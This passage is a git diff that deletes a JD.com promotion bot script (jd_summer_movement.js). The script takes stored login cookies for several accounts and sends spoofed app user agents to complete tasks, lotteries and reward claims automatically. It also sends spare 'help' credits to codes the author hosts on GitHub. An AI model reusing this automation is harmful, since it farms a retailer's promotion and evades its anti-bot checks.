this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/jd_summer_movement.js b/backUp/jd_summer_movement.js deleted file mode 100644 index 4558515..0000000 --- a/backUp/jd_summer_movement.js +++ /dev/null @@ -1,1080 +0,0 @@ -/* -燃动夏季 -活动时间:2021-07-08至2021-08-08 - -===================quantumultx================ -[task_local] -#燃动夏季 -7 0,6-23/2 * * * jd_summer_movement.js, tag=燃动夏季, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=====================Loon================ -[Script] -cron "7 0,6-23/2 * * *" script-path=jd_summer_movement.js, tag=燃动夏季 - -====================Surge================ -燃动夏季 = type=cron,cronexp="7 0,6-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_summer_movement.js - -============小火箭========= -燃动夏季 = type=cron,script-path=jd_summer_movement.js, cronexpr="7 0,6-23/2 * * *", timeout=3600, enable=true -*/ -const $ = new Env('燃动夏季'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const ShHelpFlag = true;//是否SH助力 true 助力,false 不助力 -const ShHelpAuthorFlag = true;//是否助力作者SH true 助力,false 不助力 -const OPEN_MEMBERCARD = (process.env.OPEN_MEMBERCARD && process.env.OPEN_MEMBERCARD === "true") ? true : false //默认不开通会员卡 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], uuid = '', UA = '', joyToken = ''; -$.cookie = ''; -$.inviteList = []; -$.secretpInfo = {}; -$.ShInviteList = []; -$.innerShInviteList = []; -$.groupInviteIdList = []; -$.appid = 'o2_act'; -let UAInfo = {}, joyTokenInfo = {} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - console.log('活动入口:京东APP-》 首页-》 右边小窗口(点我赢千元)\n' + - '邀请好友助力:内部账号自行互助(排名靠前账号得到的机会多)\n' + - 'SH互助:内部账号自行互助(排名靠前账号得到的机会多),多余的助力次数会默认助力作者内置助力码\n' + - '店铺任务:已添加\n' + - '微信任务:已添加\n' + - '入会任务:已添加,默认不开通会员卡,如做入会任务需添加环境OPEN_MEMBERCARD变量为true\n' + - '活动时间:2021-07-08至2021-08-08\n' + - '脚本更新时间:2021-07-25 06:00\n' - ); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - UA = `jdapp;android;10.0.2;9;${randomString(28)}-73D2164353034363465693662666;network/wifi;model/MI 8;addressid/138087843;aid/0a4fc8ec9548a7f9;oaid/3ac46dd4d42fa41c;osVer/28;appBuild/88569;partner/jingdong;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 9; MI 8 Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36;` - uuid = UA.split(';') && UA.split(';')[4] || '' - await getToken(); - $.cookie = cookiesArr[i] + `joyytoken=50085${joyToken};` + `pwdt_id:${cookiesArr[i].match(/pt_pin=([^; ]+)(?=;?)/) && cookiesArr[i].match(/pt_pin=([^; ]+)(?=;?)/)[1]};`; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = '' - $.hotFlag = false; //是否火爆 - $.taskHotFlag = false - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - console.log(`\n如有未完成的任务,请多执行几次\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await movement() - UAInfo[$.UserName] = UA - joyTokenInfo[$.UserName] = joyToken - if($.hotFlag) $.secretpInfo[$.UserName] = false;//火爆账号不执行助力 - } - } - // 助力 - let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_summer_movement_sh.json') - if (!res) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement_sh.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement_sh.json') || [] - } - let res2 = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_summer_movement.json') - if (!res2) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res2 = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement.json') || [] - } - let res3 = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_summer_movement_run.json') - if (!res3) { - $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement_run.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); - await $.wait(1000) - res3 = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_summer_movement_run.json') || [] - } - if (ShHelpAuthorFlag) { - $.innerShInviteList = getRandomArrayElements([...$.innerShInviteList, ...res], [...$.innerShInviteList, ...res].length) - $.ShInviteList.push(...$.innerShInviteList) - $.inviteList.push(...res2) - $.groupInviteIdList.push(...res3) - } - for (let i = 0; i < cookiesArr.length; i++) { - $.cookie = cookiesArr[i] + `pwdt_id:${cookiesArr[i].match(/pt_pin=([^; ]+)(?=;?)/) && cookiesArr[i].match(/pt_pin=([^; ]+)(?=;?)/)[1]};`; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - UA = UAInfo[$.UserName] - uuid = UA.split(';') && UA.split(';')[4] || '' - joyToken = joyTokenInfo[$.UserName]; - $.cookie += `joyytoken=50085${joyToken};` - $.canHelp = true; - - if (!$.secretpInfo[$.UserName]) { - continue; - } - - if (new Date().getUTCHours() + 8 >= 8) { - if ($.ShInviteList && $.ShInviteList.length) { - console.log(`\n******开始内部京东账号【百元守卫站SH】助力*********\n`); - for (let i = 0; i < $.ShInviteList.length && ShHelpFlag && $.canHelp; i++) { - console.log(`${$.UserName} 去助力SH码 ${$.ShInviteList[i]}`); - $.inviteId = $.ShInviteList[i]; - await takePostRequest('shHelp'); - await $.wait(2000); - } - } - $.canHelp = true; - } - if ($.inviteList && $.inviteList.length) { - console.log(`\n******开始内部京东账号【邀请好友助力】*********\n`); - for (let j = 0; j < $.inviteList.length && $.canHelp; j++) { - $.oneInviteInfo = $.inviteList[j]; - if ($.oneInviteInfo.ues === $.UserName || $.oneInviteInfo.max) { - continue; - } - $.inviteId = $.oneInviteInfo.inviteId; - console.log(`${$.UserName}去助力${$.oneInviteInfo.ues},助力码${$.inviteId}`); - await takePostRequest('help'); - await $.wait(2000); - } - $.canHelp = true; - } - if ($.groupInviteIdList && $.groupInviteIdList.length) { - console.log(`\n******开始内部京东账号【团队运动】助力*********\n`); - for (let j = 0; j < $.groupInviteIdList.length && $.canHelp; j++) { - $.oneGroupInviteIdInfo = $.groupInviteIdList[j]; - if ($.oneGroupInviteIdInfo.ues === $.UserName || $.oneGroupInviteIdInfo.max) { - continue; - } - $.inviteId = $.oneGroupInviteIdInfo.groupInviteId; - console.log(`${$.UserName}去助力${$.oneGroupInviteIdInfo.ues},团队运动助力码${$.inviteId}`); - await takePostRequest('help'); - await $.wait(2000); - } - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function movement() { - try { - $.signSingle = {}; - $.homeData = {}; - $.secretp = ``; - $.taskList = []; - $.shopSign = ``; - $.userInfo = '' - await takePostRequest('olympicgames_home'); - if (!$.secretpInfo[$.UserName]) { - console.log(`账户火爆还是去买买买吧`) - return - } - if($.homeData.result.popWindows) { - let res = $.homeData.result.popWindows - if(res.type == 'continued_sign_pop'){ - console.log(`签到获得: ${JSON.stringify($.homeData.result.popWindows.data || '')}`) - }else if(res.type == 'limited_time_hundred_pop'){ - console.log(`百元守卫战: ${JSON.stringify($.homeData.result.popWindows || '')}`) - }else{ - console.log(`弹窗信息: ${JSON.stringify($.homeData.result.popWindows)}`) - } - } - $.userInfo = $.homeData.result.userActBaseInfo; - console.log(`\n签到${$.homeData.result.continuedSignDays}天 待兑换金额:${Number($.userInfo.poolMoney)} 当前等级:${$.userInfo.medalLevel} ${$.userInfo.poolCurrency}/${$.userInfo.exchangeThreshold}(攒卡领${Number($.userInfo.cash)}元)\n`); - await $.wait(1000); - if($.userInfo && typeof $.userInfo.sex == 'undefined') { - await takePostRequest('olympicgames_tiroGuide'); - await $.wait(2000); - await takePostRequest('olympicgames_home'); - await $.wait(1000); - } - $.userInfo = $.homeData.result.userActBaseInfo; - if (Number($.userInfo.poolCurrency) >= Number($.userInfo.exchangeThreshold)) { - console.log(`满足升级条件,去升级`); - await takePostRequest('olympicgames_receiveCash'); - await $.wait(1000); - } - bubbleInfos = $.homeData.result.bubbleInfos; - for(let item of bubbleInfos){ - if(item.type != 7){ - $.collectId = item.type - await takePostRequest('olympicgames_collectCurrency'); - await $.wait(1000); - } - } - if($.homeData.result.pawnshopInfo && $.homeData.result.pawnshopInfo.betGoodsList) { - $.Reward = [] - for(let i in $.homeData.result.pawnshopInfo.betGoodsList){ - $.Reward = $.homeData.result.pawnshopInfo.betGoodsList[i] - if($.Reward.status == 1){ - console.log(`开奖:${$.Reward.skuName}`) - await takePostRequest('olympicgames_pawnshopRewardPop'); - await $.wait(1000); - } - } - } - console.log('\n运动\n') - $.speedTraining = true; - await takePostRequest('olympicgames_startTraining'); - await $.wait(1000); - for(let i=0; i<=3; i++){ - if($.speedTraining) { - await takePostRequest('olympicgames_speedTraining'); - await $.wait(1000); - } else { - break; - } - } - console.log(`\n做任务\n`); - if(!$.hotFlag) await takePostRequest('olympicgames_getTaskDetail'); - await $.wait(1000); - //做任务 - for (let i = 0; i < $.taskList.length && !$.hotFlag; i++) { - $.oneTask = $.taskList[i]; - if ([1, 3, 5, 7, 9, 21, 26].includes($.oneTask.taskType) && $.oneTask.status === 1) { - $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo; - for (let j = 0; j < $.activityInfoList.length && !$.hotFlag; j++) { - $.oneActivityInfo = $.activityInfoList[j]; - if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { - continue; - } - $.callbackInfo = {}; - console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); - if ($.oneTask.taskType === 21 && OPEN_MEMBERCARD) { - let channel = $.oneActivityInfo.memberUrl.match(/channel=(\d+)/) ? $.oneActivityInfo.memberUrl.match(/channel=(\d+)/)[1] : ''; - const body = { - venderId: $.oneActivityInfo.vendorIds, - shopId: $.oneActivityInfo.ext.shopId, - bindByVerifyCodeFlag: 1, - registerExtend: {}, - writeChildFlag: 0, - channel: channel - } - let url = `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=h5&clientVersion=9.2.0&uuid=88888` - await openMemberCard(url, $.oneActivityInfo.memberUrl) - await $.wait(2000); - } - await takePostRequest('olympicgames_doTaskDetail'); - if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { - await $.wait(getRndInteger(7000, 8000)); - let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) - await callbackResult(sendInfo) - } else if ($.oneTask.taskType === 5 || $.oneTask.taskType === 3 || $.oneTask.taskType === 26) { - await $.wait(getRndInteger(1000, 2000)); - console.log(`任务完成`); - } else if ($.oneTask.taskType === 21) { - let data = $.callbackInfo - if(data.data && data.data.bizCode === 0) { - console.log(`获得:${data.data.result.score}`); - } else if(data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify($.callbackInfo)); - } - await $.wait(getRndInteger(1000, 2000)); - } else { - console.log($.callbackInfo); - console.log(`任务失败`); - await $.wait(getRndInteger(2000, 3000)); - } - if($.taskHotFlag) break - } - } else if ($.oneTask.taskType === 2 && $.oneTask.status === 1 && $.oneTask.scoreRuleVos[0].scoreRuleType === 2){ - console.log(`做任务:${$.oneTask.taskName};等待完成 (实际不会添加到购物车)`); - $.taskId = $.oneTask.taskId; - $.feedDetailInfo = {}; - await takePostRequest('olympicgames_getFeedDetail'); - let productList = $.feedDetailInfo.productInfoVos; - let needTime = Number($.feedDetailInfo.maxTimes) - Number($.feedDetailInfo.times); - for (let j = 0; j < productList.length && needTime > 0; j++) { - if(productList[j].status !== 1){ - continue; - } - $.taskToken = productList[j].taskToken; - console.log(`加购:${productList[j].skuName}`); - await takePostRequest('add_car'); - await $.wait(getRndInteger(1000, 2000)); - needTime --; - } - }else if ($.oneTask.taskType === 2 && $.oneTask.status === 1 && $.oneTask.scoreRuleVos[0].scoreRuleType === 0){ - $.activityInfoList = $.oneTask.productInfoVos ; - for (let j = 0; j < $.activityInfoList.length; j++) { - $.oneActivityInfo = $.activityInfoList[j]; - if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { - continue; - } - $.callbackInfo = {}; - console.log(`做任务:浏览${$.oneActivityInfo.skuName};等待完成`); - await takePostRequest('olympicgames_doTaskDetail'); - if ($.oneTask.taskType === 2) { - await $.wait(getRndInteger(1000, 2000)); - console.log(`任务完成`); - } else { - console.log($.callbackInfo); - console.log(`任务失败`); - await $.wait(getRndInteger(2000, 3000)); - } - if($.taskHotFlag) break - } - } - if($.taskHotFlag) break - } - //==================================微信任务======================================================================== - $.wxTaskList = []; - if(!$.hotFlag) await takePostRequest('wxTaskDetail'); - for (let i = 0; i < $.wxTaskList.length; i++) { - $.oneTask = $.wxTaskList[i]; - if($.oneTask.taskType === 2 || $.oneTask.status !== 1){continue;} //不做加购 - $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo; - for (let j = 0; j < $.activityInfoList.length; j++) { - $.oneActivityInfo = $.activityInfoList[j]; - if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { - continue; - } - $.callbackInfo = {}; - console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); - await takePostRequest('olympicgames_doTaskDetail'); - if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { - await $.wait(getRndInteger(7000, 9000)); - let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) - await callbackResult(sendInfo) - } else { - await $.wait(getRndInteger(1000, 2000)); - console.log(`任务完成`); - } - if($.taskHotFlag) break - } - if($.taskHotFlag) break - } - - // 店铺 - console.log(`\n去做店铺任务\n`); - $.shopInfoList = []; - if(!$.hotFlag) await takePostRequest('qryCompositeMaterials'); - for (let i = 0; i < $.shopInfoList.length; i++) { - let taskbool = false - $.shopSign = $.shopInfoList[i].extension.shopId; - console.log(`执行第${i+1}个店铺任务:${$.shopInfoList[i].name} ID:${$.shopSign}`); - $.shopResult = {}; - await takePostRequest('olympicgames_shopLotteryInfo'); - await $.wait(getRndInteger(1000, 2000)); - if(JSON.stringify($.shopResult) === `{}`) continue; - $.shopTask = $.shopResult.taskVos || []; - for (let i = 0; i < $.shopTask.length; i++) { - $.oneTask = $.shopTask[i]; - if($.oneTask.taskType === 21 || $.oneTask.taskType === 14 || $.oneTask.status !== 1){continue;} //不做入会,不做邀请 - taskbool = true - $.activityInfoList = $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.shoppingActivityVos || $.oneTask.browseShopVo || $.oneTask.simpleRecordInfoVo; - if($.oneTask.taskType === 12){//签到 - if($.shopResult.dayFirst === 0){ - $.oneActivityInfo = $.activityInfoList; - console.log(`店铺签到`); - await takePostRequest('olympicgames_bdDoTask'); - } - continue; - } - for (let j = 0; j < $.activityInfoList.length; j++) { - $.oneActivityInfo = $.activityInfoList[j]; - if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { - continue; - } - $.callbackInfo = {}; - console.log(`做任务:${$.oneActivityInfo.subtitle || $.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); - await takePostRequest('olympicgames_doTaskDetail'); - if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { - await $.wait(getRndInteger(7000, 9000)); - let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) - await callbackResult(sendInfo) - } else { - await $.wait(getRndInteger(2000, 3000)); - console.log(`任务完成`); - } - if($.taskHotFlag) break - } - if($.taskHotFlag) break - } - if(taskbool) await $.wait(1000); - let boxLotteryNum = $.shopResult.boxLotteryNum; - for (let j = 0; j < boxLotteryNum; j++) { - console.log(`开始第${j+1}次拆盒`) - //抽奖 - await takePostRequest('olympicgames_boxShopLottery'); - await $.wait(3000); - } - // let wishLotteryNum = $.shopResult.wishLotteryNum; - // for (let j = 0; j < wishLotteryNum; j++) { - // console.log(`开始第${j+1}次能量抽奖`) - // //抽奖 - // await takePostRequest('zoo_wishShopLottery'); - // await $.wait(3000); - // } - if(taskbool) await $.wait(3000); - } - - $.Shend = false - await $.wait(1000); - console.log('\n百元守卫战') - await takePostRequest('olypicgames_guradHome'); - await $.wait(1000); - if($.Shend){ - await takePostRequest('olympicgames_receiveCash'); - await $.wait(1000); - } - } catch (e) { - $.logErr(e) - } -} - -async function takePostRequest(type) { - let body = ``; - let myRequest = ``; - switch (type) { - case 'olympicgames_home': - body = `functionId=olympicgames_home&body={}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_home`, body); - break - case 'olympicgames_collectCurrency': - body = await getPostBody(type); - myRequest = await getPostRequest(`olympicgames_collectCurrency`, body); - break - case 'olympicgames_receiveCash': - let id = 6 - if ($.Shend) id = 4 - body = `functionId=olympicgames_receiveCash&body={"type":${id}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_receiveCash`, body); - break - case 'olypicgames_guradHome': - body = `functionId=olypicgames_guradHome&body={}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olypicgames_guradHome`, body); - break - case 'olympicgames_getTaskDetail': - body = `functionId=${type}&body={"taskId":"","appSign":"1"}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_getTaskDetail`, body); - break; - case 'olympicgames_doTaskDetail': - body = await getPostBody(type); - myRequest = await getPostRequest(`olympicgames_doTaskDetail`, body); - break; - case 'olympicgames_getFeedDetail': - body = `functionId=olympicgames_getFeedDetail&body={"taskId":"${$.taskId}"}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_getFeedDetail`, body); - break; - case 'add_car': - body = await getPostBody(type); - myRequest = await getPostRequest(`olympicgames_doTaskDetail`, body); - break; - case 'shHelp': - case 'help': - body = await getPostBody(type); - myRequest = await getPostRequest(`zoo_collectScore`, body); - break; - case 'olympicgames_startTraining': - body = await getPostBody(type); - myRequest = await getPostRequest(`olympicgames_startTraining`, body); - break; - case 'olympicgames_speedTraining': - body = await getPostBody(type); - myRequest = await getPostRequest(`olympicgames_speedTraining`, body); - break; - case 'olympicgames_tiroGuide': - let sex = getRndInteger(0, 2) - let sportsGoal = getRndInteger(1, 4) - body = `functionId=olympicgames_tiroGuide&body={"sex":${sex},"sportsGoal":${sportsGoal}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_tiroGuide`, body); - break; - case 'olympicgames_shopLotteryInfo': - body = `functionId=olympicgames_shopLotteryInfo&body={"channelSign":"1","shopSign":${$.shopSign}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_shopLotteryInfo`, body); - break; - case 'qryCompositeMaterials': - body = `functionId=qryCompositeMaterials&body={"qryParam":"[{\\"type\\":\\"advertGroup\\",\\"id\\":\\"05371960\\",\\"mapTo\\":\\"logoData\\"}]","openid":-1,"applyKey":"big_promotion"}&client=wh5&clientVersion=1.0.0`; - myRequest = await getPostRequest(`qryCompositeMaterials`, body); - break; - case 'olympicgames_bdDoTask': - body = await getPostBody(type); - myRequest = await getPostRequest(`olympicgames_bdDoTask`, body); - break; - case 'olympicgames_boxShopLottery': - body = `functionId=olympicgames_boxShopLottery&body={"shopSign":${$.shopSign}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_boxShopLottery`,body); - break; - case 'wxTaskDetail': - body = `functionId=olympicgames_getTaskDetail&body={"taskId":"","appSign":"2"}&client=wh5&clientVersion=1.0.0&loginWQBiz=businesst1&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_getTaskDetail`,body); - break; - case 'olympicgames_pawnshopRewardPop': - body = `functionId=olympicgames_pawnshopRewardPop&body={"skuId":${$.Reward.skuId}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=${$.appid}`; - myRequest = await getPostRequest(`olympicgames_pawnshopRewardPop`,body); - break; - default: - console.log(`错误${type}`); - } - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - // console.log(data); - dealReturn(type, data); - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function dealReturn(type, data) { - try { - data = JSON.parse(data); - } catch (e) { - console.log(`返回异常:${data}`); - return; - } - switch (type) { - case 'olympicgames_home': - if (data.code === 0 && data.data && data.data.result) { - if (data.data['bizCode'] === 0) { - $.homeData = data.data; - $.secretpInfo[$.UserName] = true - console.log(`团队运动互助码:${$.homeData.result && $.homeData.result.groupInfoVO.groupInviteId || '助力已满,获取助力码失败'}\n`); - if ($.homeData.result && $.homeData.result.groupInfoVO.groupInviteId) { - $.groupInviteIdList.push({ - 'ues': $.UserName, - 'groupInviteId': $.homeData.result.groupInfoVO.groupInviteId, - 'max': false - }); - } - } - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - break; - case 'olympicgames_collectCurrency': - if (data.code === 0 && data.data && data.data.result) { - console.log(`收取成功,当前卡币:${data.data.result.poolCurrency}`); - } else if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg); - } else { - console.log(JSON.stringify(data)); - } - if (data.code === 0 && data.data && data.data.bizCode === -1002) { - $.hotFlag = true; - console.log(`该账户脚本执行任务火爆,暂停执行任务,请手动做任务或者等待解决脚本火爆问题`) - } - break; - case 'olympicgames_receiveCash': - if (data.code === 0 && data.data && data.data.result) { - if (data.data.result.couponVO) { - console.log('升级成功') - let res = data.data.result.couponVO - console.log(`获得[${res.couponName}]优惠券:${res.usageThreshold} 优惠:${res.quota} 时间:${res.useTimeRange}`); - }else if(data.data.result.userActBaseVO){ - 